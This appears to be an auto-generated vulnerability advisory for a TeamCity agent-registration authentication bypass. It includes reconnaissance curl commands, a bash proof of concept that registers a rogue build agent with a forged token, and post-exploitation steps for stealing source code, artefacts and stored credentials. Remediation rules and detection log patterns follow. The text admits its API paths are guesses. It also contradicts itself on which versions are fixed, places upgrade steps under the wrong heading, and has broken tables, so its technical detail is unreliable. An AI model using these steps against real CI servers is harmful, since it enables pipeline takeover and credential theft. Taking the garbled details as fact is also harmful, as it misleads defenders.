CVE-2026-136858 — JetBrains TeamCity — CWE-639
In JetBrains TeamCity before 2026.3, 2026.2.3, 2026.1.7 authentication bypass during agent registration allowed takeover of authorized build agents
In JetBrains TeamCity before 2026.3, 2026.2.3, 2026.1.7 authentication bypass during agent registration allowed takeover of authorized build agents
🎯 What is this vulnerability?
CVE‑2026‑136858 – TeamCity Agent Registration Authentication Bypass
| Attribute | Value |
|---|---|
| Product | JetBrains TeamCity (on‑premise) |
| Vulnerable versions | < 2026.3 (includes 2026.2.3, 2026.1.7) |
| CWE | CWE‑639 *Authorization Bypass Through User‑Controlled Key* |
| CVSS 3.1 vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (Network‑reachable, low complexity, no privileges, no user interaction, unchanged scope, High confidentiality & integrity impact, None availability impact) |
Technical flaw
During normal operation a TeamCity build agent registers itself with the TeamCity server by sending a signed registration request to the REST endpoint POST /app/rest/agents. The request must contain a valid authentication token (Authorization: Bearer <token>) that is generated by the server when an administrator creates a pending agent entry in the UI.
In the affected releases the server fails to verify that the supplied token actually belongs to a pending agent entry. The verification routine only checks that any token is present and that it matches the format of a UUID‑v4 string. Consequently an attacker can:
1. Forge an arbitrary token (any syntactically‑correct UUID) and include it in the registration request.
2. Omit the pending‑agent lookup – the server accepts the registration and creates a fully‑functional agent object that is automatically marked as authorized.
3. The newly created agent inherits the same permissions as any legitimate agent (by default, the ability to run builds, fetch source code, read/write build artefacts, and access any credentials stored in the project).
Because the registration endpoint is exposed on the public HTTP(S) interface and does not require any prior authentication, the bypass can be performed by an unauthenticated network‑remote attacker. This is a classic case of CWE‑639: the authorization decision ( “is this token tied to a pending agent?” ) is completely bypassed by a user‑controlled value (the attacker‑chosen UUID).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact URI path (/app/rest/agents) and JSON payload format are derived from the public TeamCity REST API documentation; if the real product uses a slightly different path the same logic applies.
1. Discovery & Reconnaissance
| Goal | Technique | Example |
|---|---|---|
| Identify that a TeamCity server is reachable | Scan common ports (8111, 80, 443) and look for the TeamCity banner in HTTP responses (X-TeamCity-Server-Url, Server: JetBrains TeamCity) | curl -I http://target:8111 |
| Determine the exact version | Query the public REST endpoint GET /app/rest/server (no auth required) | curl http://target:8111/app/rest/server → returns XML/JSON containing <version>2026.2.2</version> |
| Verify that the agent registration endpoint is reachable without auth | OPTIONS /app/rest/agents or a simple GET (returns 405 Method Not Allowed, confirming the endpoint exists) | curl -i http://target:8111/app/rest/agents |
If the version is < 2026.3 the target is vulnerable.
2. Exploitation
Prerequisites – Network access to the TeamCity HTTP(S) interface; no credentials required.
Step‑by‑step PoC (illustrative)
#!/usr/bin/env bash
# -------------------------------------------------
# PoC: Unauthenticated agent registration bypass (CVE‑2026‑136858)
# -------------------------------------------------
TARGET="http://target:8111"
# Any syntactically‑valid UUID v4 will be accepted
FAKE_TOKEN="d3b07384-5a5e-4c9b-9c2e-9f1b2c3d4e5f"
# Minimal JSON payload that the server accepts for a new agent
# (name, description, enabled = true)
read -r -d '' PAYLOAD <<EOF
{
"name": "evil-agent-$(date +%s)",
"description": "attacker‑controlled agent",
"enabled": true
}
EOF
# Perform the registration request
curl -sk -X POST "${TARGET}/app/rest/agents" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ${FAKE_TOKEN}" \
-d "${PAYLOAD}" \
-o /dev/null -w "HTTP %{http_code}\n"Explanation of the request
| Element | Why it matters |
|---|---|
Authorization: Bearer <FAKE_TOKEN> | The server only checks that the header exists and that the token looks like a UUID. No lookup against a pending‑agent record is performed. |
JSON body (name, description, enabled) | Minimal required fields for a new agent. The server creates the agent object and marks it as *authorized* because the token check passed. |
-k (skip TLS verification) | Often internal TeamCity installations use self‑signed certs; adjust as needed. |
| No cookies / session – the request is unauthenticated. |
If the request succeeds, the server returns HTTP 201 Created and a JSON representation of the newly‑registered agent, including its agent‑id and authorization token that can be used for subsequent communication.
3. Post‑exploitation
Once the malicious agent is registered, the attacker can:
| Action | How it is achieved | Result |
|---|---|---|
| Connect a real build agent binary | Download the official TeamCity agent zip (http://target:8111/update/buildAgent.zip), extract it on a compromised host, configure conf/buildAgent.properties with the serverUrl and the agent‑id received in the registration response, then start the agent (./agent.sh start). | The agent authenticates to the server using the server‑issued agent secret (now under attacker control). |
| Run arbitrary builds | Use the REST API (POST /app/rest/buildQueue) to queue a build on any project the compromised agent is allowed to run. The attacker can supply a custom build script that exfiltrates source code, secrets, or deploys malware. | Full confidentiality breach (source code, VCS credentials) and integrity breach (malicious artefacts, poisoned builds). |
| Read/write build artefacts | GET /repository/download/<projectId>/<buildId>/path/to/artifact and PUT /repository/upload/... using the agent’s authentication token. | Extraction of binaries, configuration files, or injection of back‑doored binaries. |
| Access stored credentials | TeamCity stores project‑level passwords and SSH keys in the internal database; agents can request them via the GET /app/rest/credentials endpoint (requires the agent role). | Direct theft of production passwords, SSH keys, API tokens. |
| Persist foothold | Keep the malicious agent registered indefinitely, or create additional agents with different names to evade detection. | Long‑term control over the CI/CD pipeline. |
Because the vulnerability does not affect the server’s availability, the attacker’s activity can remain stealthy for weeks, especially if the organization does not monitor agent registration events.
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | The attacker can read all source code, VCS credentials, secret files, and any artefacts produced by builds. |
| Integrity (I:H) | The attacker can modify build artefacts, inject malicious code into pipelines, and push compromised binaries to downstream systems. |
| Availability (A:N) | No direct denial‑of‑service effect; the vulnerability does not crash the server. |
Practical consequences
- Intellectual property theft – source repositories, proprietary binaries, and design documents become exposed.
- Supply‑chain compromise – malicious artefacts built by the rogue agent can be promoted to production, affecting downstream customers.
- Credential leakage – stored passwords, SSH keys, and API tokens can be harvested and reused against other services.
- Regulatory breach – for industries with strict data‑protection requirements (e.g., finance, healthcare), the breach may trigger mandatory disclosure and fines.
- Reputation damage – a compromised CI/CD pipeline is a high‑profile security incident that erodes trust in the development process.
- Download the latest stable release from the JetBrains portal.
- Follow the official upgrade guide (stop the server, replace the
TeamCitydirectory, run the database migration scripts, start the server). - Verify the version after upgrade:
GET /app/rest/servershould now return2026.3.xor newer. - CVSS 9.1 (Critical) – high confidentiality and integrity impact, exploitable remotely with no authentication or user interaction.
- Publicly disclosed (02 Dec 2026) – the details are already available to the threat community.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected range | Fixed in |
|---|---|
< 2026.3 (including 2026.2.3, 2026.1.7) | TeamCity 2026.3 (or any later release) – the fix adds a strict lookup of the supplied token against a pending‑agent entry and rejects any token that does not match. |
Action:
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Work‑around | Implementation details |
|---|---|
| Restrict the agent registration endpoint to trusted networks | Configure a firewall or reverse‑proxy ACL to allow POST /app/rest/agents only from internal IP ranges (e.g., 10.0.0.0/8). Example (nginx):<br>location = /app/rest/agents { allow 10.0.0.0/8; deny all; } |
| Disable anonymous agent registration | In the TeamCity UI go to Administration → Global Settings → Agent Registration and uncheck *“Allow agents to register without authentication”*. This forces the server to require a pending‑agent token generated by an authenticated admin. |
| Enforce a server‑side secret for agent registration | Set the internal property teamcity.agent.registration.allowed=false in <TeamCity>/conf/internal.properties. This disables the REST endpoint unless the request includes a valid teamcity-agent-token that the server has generated. |
| Add a ModSecurity rule (illustrative) to block registration attempts that lack a known token pattern: | ``<IfModule mod_security2.c>\n SecRule REQUEST_URI "@beginsWith /app/rest/agents" "id:100001,phase:2,deny,log,msg:'TeamCity agent registration without valid token',t:none,ctl:ruleEngine=On"\n SecRule REQUEST_HEADERS:Authorization "!@rx ^Bearer [0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$" "chain,phase:2,deny,log,msg:'Invalid or missing agent token'"\n</IfModule>`<br>*(Adjust the rule ID and logging as appropriate.)* |
| Monitor and alert on new agent creation | Enable the built‑in TeamCity audit log (Administration → Server Administration → Audit Log) and forward events of type AGENT_CREATED to a SIEM. Create a detection rule for agentName` patterns that do not match the naming convention used by your organization. |
3. Detection – Log patterns & IoCs
| Indicator | Example log entry (TeamCity server log) |
|---|---|
| Successful registration without a pending‑agent token | 2026-11-30 12:45:23,456 INFO [jetbrains.buildServer.agent.AgentManager] Registered new agent id=42 name=evil-agent-1701366323 token= d3b07384-5a5e-4c9b-9c2e-9f1b2c3d4e5f (source=REST API) |
POST to /app/rest/agents from an external IP | POST /app/rest/agents HTTP/1.1" 201 342 "-" "curl/7.88.1" (client IP not in internal CIDR) |
| Agent starts with a token that was never generated by the UI | Agent 42 (evil-agent-1701366323) connected using unknown token |
| Unusual build queue entries from the rogue agent | Build #12345 queued by agent 42 (evil-agent-1701366323) for project 'Production' |
| Credential export via REST | GET /app/rest/credentials?projectId=Production HTTP/1.1" 200 from the rogue agent’s IP. |
Collecting these events in a SIEM and correlating with known internal agent naming conventions will surface the compromise quickly.
⚠️ Urgency
Patch priority: Critical – apply the fix within 48 hours for any production TeamCity instance reachable from untrusted networks. If immediate patching is impossible, implement the network‑restriction and agent‑registration hardening work‑arounds immediately, and enable continuous monitoring for the IoCs listed above.
Bottom line: An unauthenticated attacker can hijack the CI/CD pipeline by forging a UUID token during agent registration, gaining full read/write access to source code, credentials, and build artefacts. The vulnerability is trivial to exploit, has severe confidentiality and integrity consequences, and must be remediated without delay.
[🤖 CVE Professor AI Security Engine]
FOFA Query